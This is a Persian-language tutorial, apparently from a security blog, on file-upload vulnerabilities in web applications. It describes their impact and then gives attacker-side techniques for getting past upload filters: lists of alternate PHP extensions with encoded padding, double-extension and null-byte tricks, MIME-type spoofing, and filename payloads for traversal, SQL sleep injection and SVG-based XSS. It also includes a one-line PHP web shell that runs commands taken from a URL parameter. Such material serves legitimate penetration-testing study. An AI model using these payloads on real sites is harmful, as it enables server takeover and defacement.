باگ RFU:

اسیب پذیری rfu یک اسیب پذیری خطرناک در اپلیکیشن های وب بیس میباشددر وب سرور های مختلف این باگ کاملا بستگی به نارگت مورد نظر دارد.این اسیب پذیری به ما اجازه میدهد که یک فایلی با محتوای مخرب (انواع شل) اپلود کنیم که در سرور اجرا شود حمله گر با استفاده از این باگ میتواند یک پیج فیشینگ در وبسایت قرار دهد یا ان را به اصطلاح دیفیس کند(تغییر ظاهر سایت)حمله گر میتواند در بعضی شرایط به دیتا های حساس وب سرور دسترسی پیدا کند و یا اطلاعات مهم سرور را به مراجعه کنندگان سایت نشان دهدقدرت RFU:حمله server-side:با استفاده از این باگ و اپلود شل بر روی سرور میتوان به کل سرور دسترسی کامل داشت.برای مثال:پیمایش فایل های سرور/ران کردن دستور بر روی سرور/اکسپلویت اسیب پذیری های لوکال/پیمایش منابع لوکال و....حمله client-side:اپلود فایل مخرب میتواند به اراده ی حمله گر تبدیل به باگ های سمت کلاینت ماننذ XSS یا cross-site content hijacking شوددر بعضی موارد فایل میتواند حافظه ی سرور را مورد حمله قرار دهد به وسیله ی باج افزار ها و نرم افزار های غیر قانونی.در بغضی موارد فایل اپلود شده میتواند کنترل دیتا را بر عهده بگیرد و حمله گر مطالبی از قبیل خشونت و ازار و اذیت های اجتمایی را بر حافظه اپلود کندفایل اپلود شده میتواند اطلاعات مهم سرور و دیتابیس را برای عموم افشا کندحمله بر پلتفرم های اپلیکیشن :اپلود فایل jsp. در زیر صفحات سایت که به عنوان یک کاربر وب اجرا میشوداپلود فایل های بزرگ برای حملات داساپلود فایل با محتوای اطلاعات شخصی که بقیه کاربران به ان دسترسی دارندو....حمله بر سایر سیستم ها از طریق سایت:اپلود فایل exe. برای اجرا بر روی کاربران سایت(تروجان)اپلود فایل ویروسی که باعث ویروسی شدن سایر کاربران میشوداپلود فایل html. همراه با اسکریپت.(XSS)با این باگ چه کارهایی میشود کرد:ما میتوانیم با استفاده از تزریق شل هایی با زبان های دلخواه مانند php به اسیب پذیری اجزای کد از راه دور و همچنین به باگ هایی مانند XSS,LFI,XXE,PHISHING,الوده کردن پارامتر ها,تزریق کد SQL دست یابیم که باعث افشا شدن اطلاعات,مسیر ها و ... میشودانواع فیلتر ها برای جلوگیری از این باگ:1-بایپس بلک لیست:این فیلتر را میتوان با اپلود اکستنشن های غیر معمول پی اچ پی بایپس کرد.اینجا چند مثال برای شما اماده شده است.بهترین راه بایپس این فیلتر دیکود کردن میباشدphtmlphp3php4php5incpHtmlpHppHp3pHp4pHp5iNciNc iNc%20%20%20iNc%20%20%20…%20.%20..iNc……inc inc%20%20%20inc%20%20%20…%20.%20..inc……pHp pHp%20%20%20pHp%20%20%20…%20.%20..pHp……pHp3 pHp3%20%20%20pHp3%20%20%20…%20.%20..pHp3……pHp4 pHp4%20%20%20pHp4%20%20%20…%20.%20..pHp4……pHp5 pHp5%20%20%20pHp5%20%20%20…%20.%20..pHp5……pHtml pHtml%20%20%20pHtml%20%20%20…%20.%20..pHtml……php php%20%20%20php%20%20%20…%20.%20..php……php3 php3%20%20%20php3%20%20%20…%20.%20..php3……php4 php4%20%20%20php4%20%20%20…%20.%20..php4……php5 php5%20%20%20php5%20%20%20…%20.%20..php5……phtml phtml%20%20%20phtml%20%20%20…%20.%20..phtml……2-بایپس لیست سفید:این روش را میتوان از طریق حقه هایی مانند استفاده از دو اکستنشن (image.png.php)یا با استفاده از null byte injection بایپس کرد(image.php .png)راهنما:برای بدست اوردن اکستنشن غیر معمول قابل پذیرش توسط سایت میتوان از روش بروت فورس استفاده کرد3-دستکاری فیلد content-type یا MIME type:این فیلد را میتوان از طریق تبدیل ان به میم تایپ های قابل قبول سایت بایپس کرد(برای مثال تبدیل application/php به image/png یا سایر میم تایپ های قابل قبول )4- فیلتر محدودیت حجم فایل اپلود شده:با استفاده از پیلود های کم حجم میتوانیم این فیلتر را بایپس بکنیم مانند:sample payload<?php if($_GET[‘c’]) { system($_GET[‘c’]); } ?>نکته های دیگر:1-استفاده از اسم فایل هایی مانند logo.png/../.. برای پیمایش دایرکتوری ها با استفاده از اپلود فایل2-اپلود فایل با استفاده از کامند sleep(10).jpg.اگر فایل مستقیما در دیتابیس قرار گیرد امکان دسترسی به sql هست3-چک کردن اکتنشن svq. برای اپلود فایل.با استفاده از این میتوانیم به XSS های ذخیره شده با پیلود XML دسترسی پیدا کنیم4-تغییر اسم فایل به پیلود های XSS (<svg =alert(document.domain)> برای دسترسی به باگ XSS